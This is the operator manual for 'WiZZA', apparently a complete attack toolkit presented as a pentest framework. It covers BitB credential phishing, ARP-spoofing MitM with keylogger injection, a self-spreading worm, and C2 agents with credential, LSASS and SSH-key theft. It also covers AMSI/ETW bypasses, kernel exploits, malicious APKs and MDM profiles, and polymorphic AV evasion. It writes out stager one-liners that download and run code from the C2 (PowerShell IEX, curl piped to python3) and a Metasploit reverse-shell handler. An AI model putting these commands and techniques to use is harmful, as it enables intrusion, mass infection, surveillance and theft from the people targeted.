WiZZA — Penetration Testing Toolkit

Complete Operator Manual · Architecture · Guides · Troubleshooting

Authorized Use Only — Internal Documentation

2026

Preface

WiZZA is a comprehensive, integrated penetration testing framework for authorized security assessments. It combines phishing, man-in-the-middle interception, C2 infrastructure, worm agents, kernel privilege escalation, mobile device attacks, shellcode generation, AV/EDR evasion, Active Directory attacks, SOCKS5 proxy pivoting, interactive PTY shells, DNS/ICMP covert channels, LLMNR/NBT-NS credential capture, malleable C2 profiles, traffic redirectors, and automated reporting into a single coherent toolkit controlled through one CLI.

> **LEGAL NOTICE:** This toolkit is designed exclusively for authorized penetration testing, red team engagements, CTF competitions, and security research. Unauthorized use against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain written authorization before any engagement.

Architecture Overview

System Topology

```
+------------------------------------------------------------------
+
|                        OPERATOR MACHINE
(Kali)                            |
|
```

```
|
|  start CLI --> C2 Server :8888 --> cloudflared / Tor hidden
svc    |
|       |             |
|                         |
|       |         /panel (UI)         https://
xyz.trycloudflare.com   |
|       |         /download/*         or https://
<hash>.onion          |
|       |         /cdn-cgi/apps/
*                                    |
|       |         /pty/<aid>/stream   (xterm.js PTY
shell)           |
|       |         /proxy/<aid>/poll   (SOCKS5 tunnel
relay)          |
|       |         /netmap             (real-time network
map)          |
|       |         /report             (auto pentest
report)          |
|
|                                                              |
|  +----
+------------------------------------------------------------+  |
|  |
Core                                                          |
|
|  +- op/c2/c2_server.py        C2 server + web panel +
endpoints   |  |
|  +- op/c2/proxy_socks.py      SOCKS5 pivot server
(:1080)         |  |
|  +- op/c2/pty_handler.py      PTY session manager + xterm.js
HTML |  |
|  +- op/c2/static/netmap.html  Force-directed network
map           |  |
|  +- op/payloads/              Baked agent
payloads                 |  |
|  |
Modules                                                       |
|
|  +- op/modules/edr_bypass.py  AMSI/ETW/NTDLL/UAC/LSASS/WMI/COM
|  |
|  +- op/modules/c2_profiles.py Malleable C2 (Teams/Slack/
CDN/...)  |  |
|  +- op/modules/dns_c2.py      DNS TXT covert channel + ICMP
exfil |  |
|  +- op/modules/llmnr_poison.py LLMNR/NBT-NS poisoner + NTLMv2
|  |
|  +- op/modules/redirector.py  Apache/Nginx/Caddy redirector
gen   |  |
|  +- op/modules/ad_attacks.py  AD: Kerberoast/DCSync/PTH/
BloodHound|  |
|  +- op/modules/report_gen.py  Auto HTML/JSON/CSV pentest
```

```
report   |  |
|  |
Evasion                                                         |
|
|  +- op/evade/poly_engine.py   Per-request mutation
engine         |  |
|  +- op/evade/stego.py
Steganography                        |  |
|  +- op/evade/stealth.py       Anti-forensics
helpers              |  |
|  +- op/exploit/               PDF, Office, browser
exploits       |  |
|  +- op/kernel/exploits/       Kernel CVE sources (8
CVEs)         |  |
|  +- op/mobile/                Android APK, iOS
MDM                |  |
|  +- op/mitm/                  MitM proxy
hooks                    |  |
|  +- op/bitb/                  Browser-in-the-
Browser              |  |
+------------------------------------------------------------------
+
                                  |
    +-----------------------------+-----------------------------+
    v                             v                             v
VICTIM (Windows)         VICTIM (Linux/Mac)             VICTIM
(Mobile)
worm_agent.ps1           worm_agent.py                  APK /
MDM / JS
AMSI+ETW patch           SSH/USB spread                 GPS/mic/
camera
UAC bypass               DoH/ICMP C2 fallback           JS
keylogger
WMI persist              cron/systemd persist
COM hijack               PTY shell (pty.openpty)
SOCKS5 tunnel loop       AD attack commands
LSASS dump               BloodHound collection
Kerberoasting            Golden/Silver ticket
```

Component Relationships

Component	Language	Port	Role
`start`	Bash	—	Master CLI, orchestrates everything
`c2_server.py`	Python 3	:8888	Agent listener, web panel, loot storage

Component	Language	Port	Role
`proxy_socks.py`	Python 3	:1080	SOCKS5 pivot relay server
`pty_handler.py`	Python 3	—	PTY session manager + xterm.js SSE stream
`static/netmap.html`	HTML/JS	—	Real-time force-directed network map
`worm_agent.py`	Python 3	—	Multi-vector worm for Linux/Mac/Windows
`worm_agent.ps1`	PowerShell	—	Windows-optimized worm + agent
`stage1.ps1` / `stage1.py`	PS1/PY	—	Tiny first-stage stagers
`poly_engine.py`	Python 3	—	Multi-layer mutation engine
`stego.py`	Python 3	—	PNG LSB + JPEG EXIF payload hiding
`edr_bypass.py`	Python 3	—	AMSI/ETW/UAC/LSASS/WMI/COM/process hollow
`c2_profiles.py`	Python 3	—	Malleable C2: Teams/Slack/OneDrive/GitHub/CDN
`dns_c2.py`	Python 3	—	DNS TXT covert channel + ICMP exfil
`llmnr_poison.py`	Python 3	137/5355	LLMNR/NBT-NS poisoner

Component	Language	Port	Role
			+ NTLMv2 capture
`redirector.py`	Python 3	—	Apache/ Nginx/ Caddy redirector config generator
`ad_attacks.py`	Python 3	—	Kerberoast/ AS-REP/ DCSync/ PTH/ BloodHound
`report_gen.py`	Python 3	—	Auto HTML/ JSON/CSV pentest report
`bitb/catcher.py`	Python 3	:8082	Browser-in-the-Browser catcher
`mitm/catcher.py`	Python 3	:9999	Keystroke log receiver
`mitm/intercept.py`	Python 3	:8083	mitmproxy JS injection hook
`gen_shellcode.py`	Python 3	—	msfvenom/ NASM/PS1 shellcode generator
`kernel/exploits/*.c`	C	—	Kernel LPE exploits (8 CVEs)

Communication Protocols

Agent -> C2 (HTTP polling)

```
Registration:
  GET /cdn-cgi/apps/init?
v=<aid>&os=<os>&hostname=<host>&user=<user>&type=<type>
  Response: XOR-encrypted "OK"

Polling:
  GET /cdn-cgi/apps/sync?v=<aid>
  Response: XOR-encrypted command (or empty for PING)
```

```
Result submission:
  POST /cdn-cgi/apps/data
  Body: d=<XOR-b64-encoded-result>&v=<aid>

XOR key derivation:
  key = SHA256(agent_id)[0:16]   <- unique per infected host
```

Traffic Disguise

All C2 traffic is disguised as Cloudflare CDN traffic:

- Routes: `/cdn-cgi/apps/*` (mimics Cloudflare's own internal paths)
- Headers: `Server: cloudflare`, `CF-RAY: <16 hex chars>-AMS`, `CF-Cache-Status: HIT`
- User-Agent: Full Chrome 124 browser fingerprint including `Sec-Fetch-*` headers
- Content-Type: `application/javascript` with filename `bundle.js`

Installation and Setup

Prerequisites

Required Tools

```bash
# Core (all Kali Linux installations)
python3            # Runtime
bash               # Shell
openssl            # Certificate generation

# Tunneling (install if missing)
wget -q https://github.com/cloudflare/cloudflared/releases/latest/
        download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

# MitM proxy
pip install mitmproxy

# Steganography
pip install Pillow
```

Optional Tools

```bash
# Shellcode generation (primary backend)
# Already on Kali: msfvenom (part of metasploit-framework)
which msfvenom
```

```bash
# NASM (fallback shellcode compiler)
sudo apt-get install nasm

# Physical LAN attacks
sudo apt-get install dsniff bettercap
```

First-Time Setup

1. Install Global Shortcuts

```bash
cd /home/heilige/Keylogger
bash start install
```

This creates: - `~/.local/bin/start` — main CLI - `~/.local/bin/worm` — worm control shortcut - `~/.local/bin/c2` — C2 control shortcut - `~/.local/bin/keylogger` — keylogger shortcut

Restart shell or run `source ~/.bashrc` to activate.

2. Configure Cloudflare Tunnel (One-Time)

For a persistent custom domain (instead of random trycloudflare.com URLs):

```
start domain
```

Follow the prompts to: 1. Authenticate with Cloudflare (`cloudflared login`) 2. Select your domain 3. Create a named tunnel

Configuration is saved to `~/.wizza_config`:

```
CF_TUNNEL_NAME=wizza-tunnel
CF_DOMAIN=c2.yourdomain.com
```

If you skip this step, WiZZA generates a random `trycloudflare.com` URL each session. This is fine for most engagements but the URL changes every run.

3. Verify Installation

```bash
start status          # Should show "no active processes"
start help            # Print full command reference
python3 op/evade/poly_engine.py --help    # Verify poly engine
python3 op/payloads/shellcode/gen_shellcode.py --list-payloads
```

Directory Layout

```
/home/heilige/Keylogger/
+-- start                     <- Main CLI (run this)
+-- WIZZA_MANUAL.pdf          <- This document
+-- op/
|   +-- c2/
|   |   +-- c2_server.py      <- C2 server + web panel + all
endpoints
|   |   +-- proxy_socks.py    <- SOCKS5 pivot relay (:1080)
|   |   +-- pty_handler.py    <- PTY session manager + xterm.js
SSE
|   |   +-- static/
|   |       +-- netmap.html   <- Real-time force-directed network
map
|   +-- payloads/
|   |   +-- worm_agent.py     <- Python worm (template)
|   |   +-- worm_agent.ps1    <- PS1 worm (template)
|   |   +-- agent.py          <- Simple Python agent
|   |   +-- agent.ps1         <- Simple PS1 agent
|   |   +-- agent_http.py     <- Alias for agent.py
|   |   +-- stage1.ps1        <- PS1 first-stage stager
|   |   +-- stage1.py         <- Python first-stage stager
|   |   +-- stage1_stego.ps1  <- Stego-based PS1 stager
|   |   +-- SecureCertUpdate.hta  <- Windows HTA dropper
|   |   +-- shellcode/
|   |       +-- gen_shellcode.py   <- Shellcode generator
|   |       +-- revshell_x64.asm  <- NASM x64 shell source
|   +-- modules/
|   |   +-- edr_bypass.py     <- AMSI/ETW/NTDLL/UAC/LSASS/WMI/COM/
hollow
|   |   +-- c2_profiles.py    <- Malleable C2 (Teams/Slack/
OneDrive/GitHub/CDN)
|   |   +-- dns_c2.py         <- DNS TXT covert channel + ICMP
exfil
|   |   +-- llmnr_poison.py   <- LLMNR/NBT-NS poisoner + NTLMv2
capture
|   |   +-- redirector.py     <- Apache/Nginx/Caddy redirector
generator
|   |   +-- ad_attacks.py     <- AD: Kerberoast/AS-REP/DCSync/PTH/
BloodHound
|   |   +-- report_gen.py     <- Auto HTML/JSON/CSV pentest report
|   +-- evade/
|   |   +-- poly_engine.py    <- Polymorphic mutation engine
|   |   +-- obfuscate_ps1.py  <- PS1 obfuscator
|   |   +-- obfuscate_py.py   <- Python obfuscator
|   |   +-- stego.py          <- Steganography
|   |   +-- stealth.py        <- Anti-forensics helpers
|   +-- exploit/
|   |   +-- gen_pdf.py        <- Malicious PDF generator
|   |   +-- gen_macro.py      <- Office macro generator
```

```
|   |   +-- browser_exploit.js<- Browser CVE hook
|   +-- kernel/
|   |   +-- exploits/         <- 8 kernel CVE sources
|   +-- mobile/               <- Android/iOS attack modules
|   +-- mitm/                 <- MitM proxy hooks
|   +-- bitb/                 <- BitB phishing
```

Command Reference

Top-Level Commands

Command	Description
start	Interactive wizard — prompts for attack mode
start help	Full command reference
start help2	Detailed operator guide
start install	Create global shortcuts
start domain	Configure Cloudflare custom domain
start up	Launch BitB phishing catcher + tunnel
start mitm	Start MitM keylogger
start payload	Start C2 + tunnel + bake all agents
start down	Kill everything (tunnels, C2, proxy, ARP)
start status	Show running processes and tunnel URL
start url	Print active tunnel URL only
start creds	Watch captured credentials live (tail -f)
start logs	Tail all operation logs
start theme [list|use|new|clone]	Manage BitB phishing themes
start edit <file>	Open config/payload in editor

Specialized Modules

Command	Description
start shellcode [gen|poly|stage1]	Shellcode generation wizard
	Polymorphic mutation

<table>
<thead>
<tr><th>Command</th><th>Description</th></tr>
</thead>
<tbody>
<tr><td><code>start poly [ps1|py|all|shell|watch]</code></td><td></td></tr>
<tr><td><code>start evade [ps1|py|loader|check]</code></td><td>AV/EDR evasion</td></tr>
<tr><td><code>start untrack [stego]</code></td><td>Stealth audit + hardening</td></tr>
<tr><td><code>start exploit [office|pdf|browser]</code></td><td>Exploit delivery</td></tr>
<tr><td><code>start kernel [check|exploit|rootkit|ebpf]</code></td><td>Kernel attacks</td></tr>
<tr><td><code>start mobile [android|ios|browser|termux]</code></td><td>Mobile attacks</td></tr>
<tr><td><code>start physical <victim_ip> <domain></code></td><td>LAN ARP MitM (requires root)</td></tr>
<tr><td><code>start llmnr [start|stop|hashes]</code></td><td>LLMNR/NBT-NS poisoner + NTLMv2 capture</td></tr>
<tr><td><code>start redirector [apache|nginx|caddy|socat]</code></td><td>Generate C2 redirector configs</td></tr>
<tr><td><code>start profile [list|set <name>]</code></td><td>Set/show active malleable C2 profile</td></tr>
<tr><td><code>start report [html|json|csv]</code></td><td>Generate pentest report from live agent data</td></tr>
<tr><td><code>start netmap</code></td><td>Open real-time network map in browser</td></tr>
</tbody>
</table>

Worm Control Shortcuts

```
worm drop              # Install worm on THIS machine (self-infect)
worm push <user@host> # Deploy via SSH
worm payload           # Show baked payload paths
worm usb               # Sync payloads to USB drive
worm status            # Check if worm is running locally
```

C2 Control Shortcuts

```
c2 start               # Start C2 server on :8888
c2 stop                # Kill C2
c2 restart             # Stop and restart
c2 status              # Show agent count + credential summary
c2 log                 # Tail C2 log
c2 panel               # Open web panel in browser
```

Module Guides

BitB Phishing

What It Does

Browser-in-the-Browser (BitB) creates a convincing fake login popup that overlays the victim's real browser. The popup is styled to perfectly mimic trusted login providers (Google, Microsoft, Facebook, Apple). The victim types their credentials into what appears to be a real authentication dialog — those credentials are captured immediately.

When To Use

- Target uses OAuth/SSO login ("Sign in with Google", "Sign in with Microsoft")
- You have a pretext to send a link (phishing email, SMS, LinkedIn message)
- Remote engagement — no LAN access needed

Quick Start

```
start up
```

This will:

1. Start the BitB catcher server on port :8082
2. Launch a cloudflared tunnel to expose it publicly
3. Print the tunnel URL
4. Begin watching for credentials

Send the tunnel URL to your target (via phishing email, LinkedIn, etc.).

Themes

```
start theme list          # See available themes
start theme use google    # Switch to Google login theme
start theme use outlook   # Microsoft Outlook theme
start theme use facebook  # Facebook theme
start theme use blank     # Blank template for customization
start theme new           # Create a new theme interactively
start theme clone <url>   # Clone appearance of any real login page
```

Watching Credentials

```
start creds              # Live view of captured credentials
# Or directly:
tail -f ~/.wizza/logs/credentials.txt
```

Example output:

```
[2026-04-19 14:32:11] BITB    victim@gmail.com  :  P@ssw0rd123
[2026-04-19 14:32:11] SOURCE  https://xyz.trycloudflare.com
[2026-04-19 14:32:11] UA      Mozilla/5.0 (Windows NT 10.0; Win64;
x64)...
```

Custom Domain

For more convincing delivery, configure a custom domain:

```
start domain            # One-time setup
# Then:
start up                # Uses CF_DOMAIN instead of random URL
```

A URL like `https://login.yourdomain.com` is far more convincing than a random trycloudflare.com URL.

MitM Keylogger

What It Does

Positions the attacker between the victim and their network gateway. All HTTP/HTTPS traffic flows through WiZZA's transparent proxy, which: - Injects a JavaScript keylogger into every HTML page - Captures all form submissions (usernames, passwords, search queries) - Intercepts POST requests to login endpoints - Optionally decrypts HTTPS if victim has installed the iOS MDM certificate

When To Use

- You have physical or logical access to the target's network
- LAN engagement (corporate office, coffee shop, hotel WiFi)
- Victim has installed the WiZZA CA certificate (via iOS MDM profile)

Requirements

```
sudo apt-get install dsniff bettercap   # ARP spoofing tools
# Must be run as root for iptables rules
```

Quick Start

```
start mitm
# Prompts: target IP or subnet, target domain
# Starts: mitmproxy :8083, keystroke catcher :9999
```

For full LAN interception:

```
sudo start physical <victim_ip> <target_domain>
# Example: sudo start physical 192.168.1.50 example.com
```

This sets up: 1. ARP poisoning (`arpspoof`): victim <-> gateway 2. IP forwarding: `echo 1 > /proc/sys/net/ipv4/ip_forward` 3. iptables redirect: `:80/:443` -> mitmproxy `:8080` 4. DNS spoof (`bettercap`): `target_domain` -> attacker IP

Watching Keystrokes

```
tail -f ~/.wizza/logs/keystrokes.txt
# Or:
start logs                # Shows all logs including keystrokes
```

iOS MitM (Full HTTPS Decryption)

If the victim has installed the WiZZA iOS MDM profile:

```
start mobile ios          # Generate MDM profile
# Victim installs via: https://c2url/m/ios
start mitm                # Start proxy with CA cert loaded
# All victim HTTPS is now decryptable
```

C2 Agent Deployment

What It Does

Deploys a persistent agent on the victim's machine. The agent: - Registers with the C2 server via HTTPS polling - Receives commands from the operator (via web panel or CLI) - Executes commands and returns results - Supports 40+ built-in commands (recon, screenshot, keylog, browser passwords, file exfil) - Optional worm mode: spreads to other machines automatically

Architecture

```
Operator Browser --> https://localhost:8888/panel
                              |
                         C2 Server :8888
                              |
```

```
              +---------------+---------------+
              v               v               v
          Agent 1          Agent 2         Agent 3
     (Windows PS1)    (Linux Python)  (Mac Python)
```

Quick Start

```
start payload
```

This will: 1. Start the C2 server on port :8888 2. Launch a cloudflared tunnel 3. Bake the tunnel URL into all agent files 4. Generate `SecureCertUpdate.hta` (Windows dropper) 5. Display the tunnel URL and drop the operator into live log watch

Baked Payload Files

After `start payload` completes, these files are ready in `~/.wizza/payloads/` (or `op/payloads/` if the script was run directly):

File	Target OS	Delivery Method
`worm_agent.py`	Linux / Mac / Windows	Email, SSH, USB, HTTP download
`worm_agent.ps1`	Windows	PowerShell, email, USB
`agent.py`	Linux / Mac / Windows	Simpler agent (no spreading)
`agent.ps1`	Windows	Simpler PS1 agent
`stage1.ps1`	Windows	Tiny 6-line dropper
`stage1.py`	Linux/Mac/ Windows	Tiny 1-line dropper
`SecureCertUpdate.hta`	Windows	Double-click, email, USB

Delivering the Payload

Option 1 — Smart Lure URL:

The C2 serves a smart lure page at the LURE_PATH (default `/docs`). When a victim visits this URL, the server auto-detects their OS and serves the appropriate payload:

```
Windows User-Agent -> SecureCertUpdate.hta (or worm_agent.ps1)
Mac/Linux User-Agent -> agent.py
```

Option 2 — Direct Download:

Every payload is served at `/download/<filename>` with per-request polymorphic mutation:

```
https://xyz.trycloudflare.com/download/worm_agent.ps1
https://xyz.trycloudflare.com/download/worm_agent.py
https://xyz.trycloudflare.com/download/stage1.ps1
```

Option 3 — HTA Dropper:

On Windows, double-clicking `SecureCertUpdate.hta` silently runs a hidden PowerShell that downloads and executes the worm agent in memory.

Option 4 — Office Macro:

```
start exploit office
# Generates: invoice.docm / report.xlsm
# Contains AutoOpen macro that downloads + runs the agent
```

Option 5 — Malicious PDF:

```
start exploit pdf
# Generates: statement.pdf
# Opens a download prompt on PDF open
```

Option 6 — Stage1 One-Liner:

For quick console delivery when you already have a shell:

```
# Windows PowerShell:
powershell -w h -ep bypass -c "IEX((New-Object
        Net.WebClient).DownloadString('https://c2url/download/
        stage1.ps1'))"

# Linux/Mac:
curl -s https://c2url/download/stage1.py | python3
```

Web Panel

Open the C2 panel in your browser:

```
https://localhost:8888/panel
```

Or run: `c2 panel`

Panel Tabs:

- **Agents** — All registered agents with OS, hostname, username, privilege level, last seen
- **Command** — Send a command to a selected agent
- **Output** — View command results (stdout + stderr)
- **Loot** — Browse and download captured files
- **Worm Control** — Manage spreading (if agent is worm variant)
- **Credentials** — All captured passwords

Agent Commands Reference

Reconnaissance:

Command	Action
`RECON`	Full system dump: OS, users, network, processes, cron, env, interesting files
`SYSINFO`	Quick OS/hardware summary
`NETWORK`	Interfaces, routes, ARP table, open ports
`DRIVES`	All mounted drives with free space

Capture:

Command	Action
`SCREENSHOT`	Desktop screenshot (PNG, base64)
`WEBCAM`	Webcam frame capture (JPEG)
`CLIPBOARD`	Read clipboard contents
`KEYLOG_START`	Begin background keystroke capture
`KEYLOG_DUMP`	Download current keystroke buffer

Credential Harvesting:

Command	Action
`BROWSERS`	Chrome/Firefox saved passwords + history
`HASHDUMP`	`/etc/shadow` hashes (Linux) or SAM (Windows)
`SSHKEYS`	Collect all `~/.ssh/id_*` private keys
`EXFIL`	Exfiltrate home directory documents (PDF, DOCX, XLSX)
GETFILE <path>	Download a specific file

Post-Exploitation:

Command	Action
`PERSIST`	Install persistence (crontab, systemd, registry, shell RC)
`PRIVESC`	Check for local privesc (sudo -l, SUID, writable paths, kernel version)
`CLEAN`	Wipe command history + logs
`SELFDESTRUCT`	

Command	Action
	Delete agent, clear all traces, exit

Lateral Movement:

Command	Action
NET_SCAN	Scan /24 subnet for live hosts and open ports
SSH_TARGETS	Parse known_hosts + SSH config for targets
SSH_SPRAY	Password spray SSH targets
SMB_SCAN	Enumerate SMB shares
GIT_POISON	Inject malicious post-commit hooks in all repos
EMAIL_SPREAD	Email worm to extracted contacts

Windows-Specific:

Command	Action
INJECT <base64_shellcode>	Inject shellcode into svchost.exe
RUN_PS <code>	Execute AMSI-bypassed PowerShell

EDR / Evasion (Windows):

Command	Action
AMSI_BYPASS	Patch AmsiScanBuffer → return CLEAN (ctypes)
ETW_BYPASS	Patch EtwEventWrite → ret (silence Defender telemetry)
NTDLL_UNHOOK	Reload clean ntdll.dll from disk to remove EDR hooks
UAC_BYPASS	fodhelper/sdclt COM handler UAC bypass → SYSTEM shell
IMPERSONATE_SYSTEM	Steal SYSTEM token from winlogon/lsass
LSASS_DUMP	comsvcs.dll MiniDump LSASS → base64-exfil to C2
WMI_PERSIST	WMI __EventFilter + CommandLineEventConsumer persistence
COM_HIJACK	HKCU MMDeviceEnumerator InprocServer32 COM hijack

Active Directory:

Command	Action
`AD_ENUM <dc_ip> <domain> <user> <pass>`	LDAP enum: users, groups, computers, trusts
`KERBEROAST <dc_ip> <domain> <user> <pass>`	TGS request for SPN accounts → hashcat -m 13100
`AS_REP_ROAST <dc_ip> <domain> <users_file>`	AS-REP for accounts without pre-auth → hashcat -m 18200
`DCSYNC <dc_ip> <domain> <user> <pass> [target]`	secretsdump.py domain replication → NTLM hashes
`BLOODHOUND <dc_ip> <domain> <user> <pass>`	bloodhound-python collection → .json for BloodHound
`PASS_THE_HASH <target> <domain> <user> <hash>`	wmiexec/psexec PTH lateral movement
`GOLDEN_TICKET <domain> <sid> <krbtgt_hash>`	Forge Kerberos TGT for any user

PTY Shell:

Command	Action
`PTY_START`	Spawn interactive PTY shell, relay via C2 SSE
`PTY_STOP`	Kill PTY shell

Open the PTY terminal in the C2 panel: **Agents → Shell** button, or:

`https://localhost:8888/pty/<agent_id>/term`

SOCKS5 Proxy:

Command	Action
`PROXY_START`	Start SOCKS5 relay loop (agent polls C2 for tunnel tasks)
`PROXY_STOP`	Stop SOCKS5 relay

Configure your tools to use the SOCKS5 proxy at `socks5://localhost:1080`:

```
proxychains nmap -sT -p 80,443,22 192.168.10.0/24
curl --socks5 localhost:1080 http://internal.corp/admin
```

Worm Agent

What It Does

The worm variant (`worm_agent.py` / `worm_agent.ps1`) extends the basic agent with automatic multi-vector spreading. Once deployed on one machine, it attempts to copy itself to other machines on the network.

Spread Vectors

Vector	Method	OS
USB	Detects removable drives, copies payload, creates lures	Win/Lin
SSH	Keys from `~/.ssh`, `known_hosts`, spray common passwords	Lin/Mac
SMB	Enumerate shares, copy payload via net use / impacket	Win/Lin
Git hooks	Inject `post-commit` / `post-merge` hooks in all local repos	All
Email	Extract Thunderbird/ Outlook contacts, send phishing email	Win/Lin
Docker	Container escape via exposed socket, infect host	Lin
Network scan	Find SSH/SMB targets in local /24 subnet	All

Worm Control Commands

Send these from the C2 panel to any worm agent:

```
WORM_STATUS           — Show spread log and flag counts
WORM_PAUSE            — Pause all spreading threads
WORM_RESUME           — Resume spreading
WORM_STOP_SPREAD      — Permanently disable spreading
WORM_START_SPREAD     — Re-enable spreading
WORM_SPREAD_NOW       — Force immediate spread cycle
WORM_USB_ON           — Enable USB vector
WORM_USB_OFF          — Disable USB vector
WORM_SSH_ON           — Enable SSH vector
WORM_SSH_OFF          — Disable SSH vector
```

```
WORM_SET_C2 <url>      — Hot-swap the C2 URL without restart
WORM_SET_INTERVAL <n> — Change poll interval (seconds)
WORM_SKIP <host>       — Add host to permanent skip list
```

Viewing the Infection Tree

In the C2 panel, open the **Worm Family** tab to see a graph of all infected hosts and how they are connected (who infected whom).

Kernel Privilege Escalation

What It Does

Provides compiled C exploit code for 8 public kernel CVEs. Used when you have a low-privilege shell on a Linux target and need to escalate to root.

Vulnerability Check

```
start kernel check
```

This runs an automated scan that checks: - Kernel version against known vulnerable ranges - Running services and setuid binaries - `sudo -l` output - Writable paths in PATH - Exposed Docker/LXC sockets - NFS no_root_squash mounts

Kernel Exploits Reference

CVE	Kernel Versions	Technique	Reliability
CVE-2016-5195 (DirtyCow)	2.6.22 – 4.8.3	Race condition, /etc/passwd write	High
CVE-2022-0847 (DirtyPipe)	5.8 – 5.16.11	Pipe flag override, read-only file write	High
CVE-2021-3493 (OverlayFS)	Ubuntu 5.0 – 5.10	OverlayFS xattr copy-up	High (Ubuntu)
CVE-2023-0386 (OverlayFS2)	5.11 – 6.2	FUSE setuid copy-up	Medium
CVE-2021-4034 (PwnKit)	All distros	pkexec argv/envp trick	High
CVE-2024-1086 (nftables UAF)	5.14 – 6.6	nft_verdict double-free	Medium
	2.6.19 – 5.12		Medium

CVE	Kernel Versions	Technique	Reliability
CVE-2021-22555 (Netfilter)		OOB +2 write via msg_msg spray	
CVE-2022-2588 (cls_route UAF)	4.9 – 5.18	UAF via netlink RTM_DELTFILTER	Medium

Exploiting a Target

```
start kernel exploit
```

Follow the interactive prompts to: 1. Select the CVE for your target kernel version 2. Compile the exploit (cross-compilation if needed) 3. Instructions for transferring to the target 4. Execute on target

Manual compile:

```
cd op/kernel/exploits/
gcc -o dirtycow dirty_cow.c -pthread -ldl
gcc -o dirtypipe dirty_pipe.c
gcc -o pwnkit_trigger pwnkit.c && gcc -shared -fPIC -o lol.so
        pwnkit.c -DPAYLOAD_ONLY
```

Transfer to target via C2:

From C2 panel, use `GETFILE` to verify the target's kernel version, then use shell access to wget/curl the exploit binary from the C2 server (serve it under `$PAYLOAD_DIR/`).

Mobile Attacks

Android APK

Generate a malicious APK that installs as a system update:

```
start mobile android
```

Prompts for: - Listener IP (your C2 host or tunnel) - Listener port (default 4444) - Optional: bind to a legitimate APK (requires apktool)

Output: `~/.wizza/payloads/update.apk`

Delivery: Email attachment, fake app store link, QR code, USB sideload.

Listener setup (Metasploit):

```
msfconsole -q -x "
use exploit/multi/handler
set payload android/meterpreter/reverse_https
set LHOST <your_ip>
set LPORT 4444
exploit -j"
```

iOS MDM Profile

Install a custom CA certificate on victim's iPhone/iPad to enable HTTPS decryption:

```
start mobile ios
```

Prompts for: - Proxy host (your IP or tunnel) - Proxy port (default 8080) - Organization name (e.g., "IT Security Dept.") - Auto-proxy (PAC) vs. manual

Output: - `~/.wizza/payloads/wizza.mobileconfig` — Send to victim - `~/.wizza/wizza_ca.{key,crt,der}` — Keep private

Delivery: 1. Host `.mobileconfig` on HTTPS server: `GET /m/ios` 2. Send link to victim (SMS, email, QR code) 3. Victim: Settings -> Downloads -> Install -> Trust 4. Start MitM: `start mitm`

Termux Agent (Android)

For Android devices with Termux installed:

```
start mobile termux
# Or: send the baked mobile_agent.py to victim
```

Capabilities: - Shell command execution - GPS location (`termux-location`) - SMS read/send - Microphone recording - Camera snapshots - Clipboard - File exfiltration

Browser Hook (No Install)

When you have MitM position, the `intercept.py` proxy automatically injects a JavaScript hook into every page:

```
start mitm       # starts proxy with JS injection
# Victim's browser now runs your hook on every page
```

Capabilities (no installation, works on iOS/Android): - GPS (with browser permission prompt) - Microphone recording - Camera snapshots - Clipboard read - Full keystroke capture - Form field capture - Device fingerprinting - ServiceWorker persistence (survives page navigation)

Shellcode Generation

What It Does

Generates raw x64 Windows reverse TCP shellcode in multiple formats, suitable for injection into a `VirtualAlloc/CreateThread` PS1 loader or C injection template.

Quick Start

```
start shellcode gen
```

Interactive prompts for LHOST, LPORT, payload type, output format.

Backends (auto-selected)

1. **msfvenom** (primary) — Best quality, available on all Kali installs
2. **NASM** (secondary) — Compiles `revshell_x64.asm` if msfvenom unavailable
3. **PS1 inline** (fallback) — PowerShell TCPClient shell if neither tool available

Command Line

```
python3 op/payloads/shellcode/gen_shellcode.py \
    --lhost 10.10.10.10 \
    --lport 4444 \
    --payload shell \
    --format hex \
    --out shell.hex
```

Payload Types

Key	msfvenom Payload
`shell`	`windows/x64/shell_reverse_tcp`
`meterpreter`	`windows/x64/meterpreter_reverse_tcp`
`powershell`	`windows/x64/powershell_reverse_tcp`
`shell_bind`	`windows/x64/shell_bind_tcp`
`shell/staged`	`windows/x64/shell/reverse_tcp`
`meter/staged`	`windows/x64/meterpreter/reverse_tcp`

Output Formats

Format	Description	Use Case
`hex`	Hex string	Feed into `start poly shell`
`raw`	Binary `.bin`	For C injectors
`ps1`	Complete PS1 loader (VirtualAlloc + CreateThread)	Run directly on victim
`py`	Python ctypes loader	Run on victim with Python
`c`	C byte array	Compile into custom injector

Poly-Wrapping Shellcode

Take raw shellcode and wrap it in a polymorphic AMSI-bypass PS1 decoder:

```
start shellcode poly
# Or:
start poly shell
# Paste hex or provide .bin/.hex file path
# Output: unique PS1 runner with 3-layer cipher + AMSI bypass +
        ETW patch
```

Building Stage1 Stagers

```
start shellcode stage1
# Prompts for C2 URL
# Bakes into: stage1.ps1, stage1.py, stage1_stego.ps1
```

Polymorphic Engine

What It Does

Takes any PS1 or Python payload and produces a functionally identical but syntactically different version on every run. No two generated files have the same hash. Used to defeat signature-based AV/EDR.

How It Works (3 Layers)

Layer 1 — Multi-cipher encoding:

```
plaintext -> XOR (rand key) -> RC4 (rand key) -> AES-CTR-sim
(SHA256 keystream)
         -> base64 -> embedded decoder stub
```

Applied N times (configurable rounds, default 3). Each round adds another decode loop.

Layer 2 — String mutation (8 types, randomly mixed):

Technique	Example
Split concat	`"cmd"` -> `"c"+"m"+"d"`
Char array	`"cmd"` -> `[char[]]0x63,0x6d,0x64`
Base64	`"cmd"` -> `[Convert]::FromBase64String('Y21k')`
Reversed	`"cmd"` -> `[string]::join('','dmc'[-1..-3])`
Hex chars	`"cmd"` -> `[char]0x63+[char]0x6d+[char]0x64`
Decimal chars	`"cmd"` -> `[char]99+[char]109+[char]100`
Env concat	`"cmd"` -> `$env:TEMP.Substring(0,0)+'cmd'`

Layer 3 — Control-flow flattening:

Code blocks are shuffled into a state-machine dispatch loop:

```
$_state = 4   # random entry point
while ($true) {
    switch ($_state) {
        4 { <block 3>; $_state = 7 }
        7 { <block 1>; $_state = 2 }
        2 { <block 2>; $_state = 0 }
        0 { break }
    }
}
```

The execution order is identical but the linear structure AV scanners expect is destroyed.

AMSI Bypass Variants (rotated per run)

Variant	Technique
1	Reflection: `AmsiUtils.amsiInitFailed = true`
2	P/Invoke: `VirtualProtect` + patch `AmsiScanBuffer` return bytes
3	ScriptBlock logging cache invalidation
4	CLRJIT internal field patch
5	`WriteProcessMemory` self-patch

ETW Bypass Variants (rotated per run)

Variant	Technique
1	Patch `ntdll!EtwEventWrite` first byte -> `0xC3` (ret)
2	`EventProvider` reflection — null internal provider field

